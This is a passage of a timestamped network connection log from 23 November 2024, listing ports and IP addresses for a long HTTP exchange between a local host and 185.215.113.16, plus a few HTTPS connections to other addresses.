Nov 23, 2024 20:23:27.612746954 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.612806082 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.612849951 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.612909079 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.614159107 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.614213943 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.614249945 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.614300966 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.615564108 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.615628958 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.615667105 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.615776062 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.616966963 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.617027998 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.617065907 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.617121935 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.618427992 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.618532896 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.618556023 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.618580103 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.619774103 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.619841099 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.619878054 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.619940996 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.621174097 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.621251106 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.621290922 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.621345043 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.622595072 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.622651100 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.622690916 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.622742891 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.623996973 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.624072075 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.624109983 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.624161005 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.625751972 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.625799894 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.625830889 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.625881910 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.626981974 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.627033949 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.627082109 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.628181934 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.628297091 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.628318071 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.628328085 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.629631042 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.629677057 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.629718065 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.629759073 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.631020069 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.631076097 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.762420893 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:27.762501001 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:27.762645960 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:27.762773037 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:27.762799025 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:27.762824059 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:27.762839079 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:27.765311003 CET	49814	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:27.765338898 CET	443	49814	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:27.765414953 CET	49814	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:27.765651941 CET	49814	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:27.765664101 CET	443	49814	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:27.784432888 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.784499884 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.784528971 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.784606934 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.784729004 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.784780025 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.784806013 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.784853935 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.785810947 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.785866976 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.785887957 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.785950899 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.786648035 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.786751986 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.786782026 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.786834002 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.787889957 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.787961006 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.788017988 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.788068056 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.788942099 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.789000034 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.789056063 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.789118052 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.790127993 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.790199995 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.790224075 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.790260077 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.791256905 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.791373968 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.791407108 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.791455984 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.792404890 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.792474985 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.792511940 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.792628050 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.793581009 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.793661118 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.793699980 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.793965101 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.794737101 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.794826031 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.794866085 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.794984102 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.795965910 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.796042919 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.796082973 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.796163082 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.797053099 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.797110081 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.797142982 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.797171116 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.798171043 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.798240900 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.798295975 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.798377037 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.799336910 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.799407005 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.799463987 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.799592018 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.800474882 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.800544024 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.800616026 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.800715923 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.801630020 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.801692009 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.801765919 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.801830053 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.802808046 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.802886963 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.802987099 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.803046942 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.804064035 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.804121971 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.804137945 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.804166079 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.804207087 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:27.804698944 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:27.804729939 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:27.805124998 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.805191040 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.805237055 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.805315971 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.805444956 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:27.805455923 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:27.806276083 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.806360960 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.806515932 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.806576014 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.807432890 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.807533979 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.807574034 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.807691097 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.808562994 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.808641911 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.808696032 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.808751106 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.809791088 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.809870958 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.809911013 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.809954882 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.810857058 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.810920954 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.810966015 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.811072111 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.812007904 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.812127113 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.812150955 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.812231064 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.813225985 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.813294888 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.813328981 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.813375950 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.814368963 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.814435005 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.814496994 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.815488100 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.815668106 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.815731049 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.816679001 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.816735029 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.816797972 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.817789078 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.817864895 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.817902088 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.817955971 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.818960905 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.819022894 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.819067955 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.819308996 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.820219040 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.820283890 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.820400953 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.820460081 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.821264982 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.821327925 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.821367025 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.821424961 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.822441101 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.822541952 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.822582006 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.822643042 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.823564053 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.823621988 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.823661089 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.823734045 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.824764967 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.824803114 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.824853897 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.825890064 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.825954914 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.825995922 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.826052904 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.827065945 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.827142000 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.827178955 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.827239990 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.828167915 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.828228951 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.828268051 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.828345060 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.829427958 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.829478979 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.829504967 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.829565048 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.830471039 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.830524921 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.830563068 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.830627918 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.831619024 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.831681013 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.831728935 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.831788063 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.832773924 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.832828999 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.832869053 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.832927942 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.833956957 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.834017992 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.834055901 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.834105968 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.835115910 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.835175037 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.835212946 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.835268974 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.836250067 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.836306095 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.836350918 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.836404085 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.837382078 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.837439060 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.837555885 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.837625027 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.838538885 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.838608980 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.838654041 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.838732958 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.839705944 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.839793921 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.839832067 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.839886904 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.840841055 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.840903997 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.840946913 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.840996027 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.842005014 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.842077971 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.842116117 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.842183113 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.843153000 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.843219995 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.843262911 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.843337059 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.844300032 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.844357967 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.844402075 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.844479084 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.865134954 CET	443	49808	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:27.865422010 CET	443	49808	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:27.865474939 CET	49808	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:27.865505934 CET	49808	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:27.865524054 CET	443	49808	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:27.989383936 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.989459038 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.989531040 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.989586115 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.989974976 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.990098953 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.990263939 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.990324020 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.991136074 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.991200924 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.991270065 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.991354942 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.992295027 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.992522955 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.992590904 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.993401051 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.993470907 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.993541002 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.994544983 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.994616032 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.994672060 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.995274067 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.995764971 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.995837927 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.995893955 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.995981932 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.996877909 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.996989012 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.997030973 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.997214079 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.998030901 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.998155117 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.998213053 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.999146938 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.999212027 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:27.999283075 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:27.999399900 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.000432014 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.000485897 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.000550985 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.001470089 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.001544952 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.001601934 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.001714945 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.002621889 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.002682924 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.002769947 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.002810955 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.003776073 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.003907919 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.003966093 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.004923105 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.005007029 CET	49807	80	192.168.2.4	185.215.113.16
